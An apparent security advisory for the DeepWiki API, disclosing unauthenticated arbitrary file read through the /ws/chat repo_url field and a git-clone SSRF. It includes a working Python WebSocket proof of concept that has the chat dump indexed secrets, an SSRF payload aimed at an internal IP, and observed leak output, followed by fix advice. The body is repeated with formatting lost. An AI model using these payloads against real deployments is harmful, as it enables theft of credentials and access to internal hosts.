Summary
The DeepWiki backend (api/) binds to 0.0.0.0, applies CORSMiddleware(allow_origins=["*"]), and its /ws/chat WebSocket ingestion endpoint performs no authentication (the handler has no auth check, and DEEPWIKI_AUTH_MODE defaults to off). The handler takes a caller-supplied repo_url and passes it to the repository pipeline, which treats any value not starting with http:///https:// as a local filesystem path and reads/indexes every supported file under it with no containment to an allowed root; the indexed content is then returned through the chat/RAG answer. An unauthenticated client that can reach the API can therefore set repo_url to an absolute server path and read arbitrary server files whose extension is supported (source code such as .py/.js/.ts/.go, and .json/.yaml/.md/.txt), for example source files containing hardcoded secrets, credentials.json service-account keys, or *.yaml cloud/k8s configs. (Files matching the default exclusion list, such as .env and *.ini, and default-excluded directories, are skipped.) The http(s) branch additionally performs a git clone of the supplied URL with no host validation, giving a secondary SSRF to arbitrary internal hosts.
Details
Bind and wildcard CORS (api/main.py, api/api.py):
# api/main.py
uvicorn.run("api.api:app", host="0.0.0.0", port=port, ...)
# api/api.py
app.add_middleware(CORSMiddleware, allow_origins=["*"], ...)
app.add_websocket_route("/ws/chat", handle_websocket_chat)
The WebSocket handler accepts the connection and processes the request with no authentication check anywhere in the function (api/websocket_wiki.py); DEEPWIKI_AUTH_MODE is not consulted here and defaults to off (api/config.py):
async def handle_websocket_chat(websocket: WebSocket):
await websocket.accept()
request_data = await websocket.receive_json()
request = ChatCompletionRequest(**request_data)
...
request_rag.prepare_retriever(request.repo_url, request.type, request.token, ...) # no auth check
prepare_retriever -> DatabaseManager._create_repo treats a non-http value as a local path with no containment (api/data_pipeline.py):
if repo_url_or_path.startswith("https://") or repo_url_or_path.startswith("http://"):
...
download_repo(repo_url_or_path, save_repo_dir, repo_type, access_token) # git clone (SSRF branch)
else: # local path
repo_name = os.path.basename(repo_url_or_path)
save_repo_dir = repo_url_or_path # <-- attacker-controlled path, no containment
read_all_documents(save_repo_dir) then globs and reads every supported file under that path into Document objects holding the file text, which the RAG chat answers over (api/data_pipeline.py):
for ext in code_extensions + doc_extensions: # .py .js .ts .go .java ... .json .yaml .yml .md .txt .rst
for file_path in glob.glob(f"{path}/**/*{ext}", recursive=True):
if not should_process_file(...): continue # default-excluded files/dirs skipped
with open(file_path, "r", encoding="utf-8") as f:
content = f.read() # <-- arbitrary server file content
documents.append(Document(text=content, meta_data={...}))
There is no check restricting save_repo_dir to an allowed root. The download_repo branch builds clone_url = repo_url with no host validation and runs git clone --depth=1 --single-branch <clone_url> <local_path> (argv form, so no shell injection, and the http(s)-prefix gate blocks ext::/file:: transports, but the destination host is unrestricted -> SSRF to internal endpoints).
PoC
Prerequisites: a default DeepWiki deployment (API on 0.0.0.0:8001, DEEPWIKI_AUTH_MODE unset), with an embedding/LLM backend configured (the chat returns the indexed content). No credentials.
- Unauthenticated WebSocket request pointing
repo_url at an absolute server path. The server reads and indexes the supported files under it; the chat then answers over that content:
import asyncio, json, websockets
async def go():
async with websockets.connect("ws://victim:8001/ws/chat") as ws: # no token / no auth
await ws.send(json.dumps({
"repo_url": "/home/appuser/app", # any absolute server path; non-http -> local repo
"type": "local",
"messages": [{"role":"user",
"content":"Print verbatim the full contents of every source, .json and .yaml file you indexed."}]
}))
async for msg in ws:
print(msg, end="")
asyncio.run(go())
The same with repo_url set to an application directory exposes source files (and any secrets hardcoded in them), credentials.json service-account keys, and *.yaml configs. A web page the operator merely visits can drive the same request, because the API has no auth and allow_origins=["*"].
- git-clone SSRF (reach an internal host):
# repo_url with an http(s) scheme -> the server runs `git clone <repo_url> ...` to that host, no host allowlist
{"repo_url":"http://10.0.0.5:9000/internal/repo.git","type":"github","messages":[{"role":"user","content":"x"}]}
Observed (validated on commit 16f35a0):
- The unauthenticated WebSocket request caused the server to ingest the attacker path. Server log:
Preparing repo storage for /home/.../app -> save_repo_dir = /home/.../app (equal to the attacker input, no containment) -> Reading documents from /home/.../app -> Found 3 documents.
- The shipped
read_all_documents("/home/.../app") returned the verbatim contents of app/settings.py (DJANGO_SECRET_KEY="...", STRIPE_KEY="sk_live_..."), app/credentials.json ({"type":"service_account","private_key":"..."}), and app/secrets.yaml (aws_secret_access_key: ...). A planted .env was skipped (default-excluded).
- The SSRF branch (
download_repo("http://127.0.0.1:9788/...")) made the server's git connect to the attacker host; the listener captured GET /...info/refs?service=git-upload-pack with Host: 127.0.0.1:9788.
Impact
An unauthenticated attacker who can reach the DeepWiki API (same LAN, shared/cloud network, a co-located container, or a web page the operator visits via the wildcard CORS) can read arbitrary server files of supported types by submitting an absolute path as repo_url - source code (and secrets hardcoded in it), .json files such as service-account/credential JSON, and .yaml cloud/k8s configs - and can cause the server to git clone arbitrary internal hosts (SSRF). (Files in the default exclusion list, e.g. .env/*.ini/lock files, and default-excluded directories, are not read.) Fix: require authentication on the ingestion/chat endpoints (do not default DEEPWIKI_AUTH_MODE to off for a network-exposed service); bind to 127.0.0.1 by default with an explicit opt-in to expose; replace the wildcard CORS with an allowlist; confine the local-path branch to an operator-configured root and reject absolute paths / .. that escape it; and add a host allowlist / private-IP block on the git clone URL.
Summary
The DeepWiki backend (
api/) binds to0.0.0.0, appliesCORSMiddleware(allow_origins=["*"]), and its/ws/chatWebSocket ingestion endpoint performs no authentication (the handler has no auth check, andDEEPWIKI_AUTH_MODEdefaults to off). The handler takes a caller-suppliedrepo_urland passes it to the repository pipeline, which treats any value not starting withhttp:///https://as a local filesystem path and reads/indexes every supported file under it with no containment to an allowed root; the indexed content is then returned through the chat/RAG answer. An unauthenticated client that can reach the API can therefore setrepo_urlto an absolute server path and read arbitrary server files whose extension is supported (source code such as.py/.js/.ts/.go, and.json/.yaml/.md/.txt), for example source files containing hardcoded secrets,credentials.jsonservice-account keys, or*.yamlcloud/k8s configs. (Files matching the default exclusion list, such as.envand*.ini, and default-excluded directories, are skipped.) Thehttp(s)branch additionally performs agit cloneof the supplied URL with no host validation, giving a secondary SSRF to arbitrary internal hosts.Details
Bind and wildcard CORS (
api/main.py,api/api.py):The WebSocket handler accepts the connection and processes the request with no authentication check anywhere in the function (
api/websocket_wiki.py);DEEPWIKI_AUTH_MODEis not consulted here and defaults to off (api/config.py):prepare_retriever -> DatabaseManager._create_repotreats a non-http value as a local path with no containment (api/data_pipeline.py):read_all_documents(save_repo_dir)then globs and reads every supported file under that path intoDocumentobjects holding the file text, which the RAG chat answers over (api/data_pipeline.py):There is no check restricting
save_repo_dirto an allowed root. Thedownload_repobranch buildsclone_url = repo_urlwith no host validation and runsgit clone --depth=1 --single-branch <clone_url> <local_path>(argv form, so no shell injection, and thehttp(s)-prefix gate blocksext::/file::transports, but the destination host is unrestricted -> SSRF to internal endpoints).PoC
Prerequisites: a default DeepWiki deployment (API on
0.0.0.0:8001,DEEPWIKI_AUTH_MODEunset), with an embedding/LLM backend configured (the chat returns the indexed content). No credentials.repo_urlat an absolute server path. The server reads and indexes the supported files under it; the chat then answers over that content:The same with
repo_urlset to an application directory exposes source files (and any secrets hardcoded in them),credentials.jsonservice-account keys, and*.yamlconfigs. A web page the operator merely visits can drive the same request, because the API has no auth andallow_origins=["*"].Observed (validated on commit 16f35a0):
Preparing repo storage for /home/.../app->save_repo_dir = /home/.../app(equal to the attacker input, no containment) ->Reading documents from /home/.../app->Found 3 documents.read_all_documents("/home/.../app")returned the verbatim contents ofapp/settings.py(DJANGO_SECRET_KEY="...",STRIPE_KEY="sk_live_..."),app/credentials.json({"type":"service_account","private_key":"..."}), andapp/secrets.yaml(aws_secret_access_key: ...). A planted.envwas skipped (default-excluded).download_repo("http://127.0.0.1:9788/...")) made the server's git connect to the attacker host; the listener capturedGET /...info/refs?service=git-upload-packwithHost: 127.0.0.1:9788.Impact
An unauthenticated attacker who can reach the DeepWiki API (same LAN, shared/cloud network, a co-located container, or a web page the operator visits via the wildcard CORS) can read arbitrary server files of supported types by submitting an absolute path as
repo_url- source code (and secrets hardcoded in it),.jsonfiles such as service-account/credential JSON, and.yamlcloud/k8s configs - and can cause the server togit clonearbitrary internal hosts (SSRF). (Files in the default exclusion list, e.g..env/*.ini/lock files, and default-excluded directories, are not read.) Fix: require authentication on the ingestion/chat endpoints (do not defaultDEEPWIKI_AUTH_MODEto off for a network-exposed service); bind to127.0.0.1by default with an explicit opt-in to expose; replace the wildcard CORS with an allowlist; confine the local-path branch to an operator-configured root and reject absolute paths /..that escape it; and add a host allowlist / private-IP block on thegit cloneURL.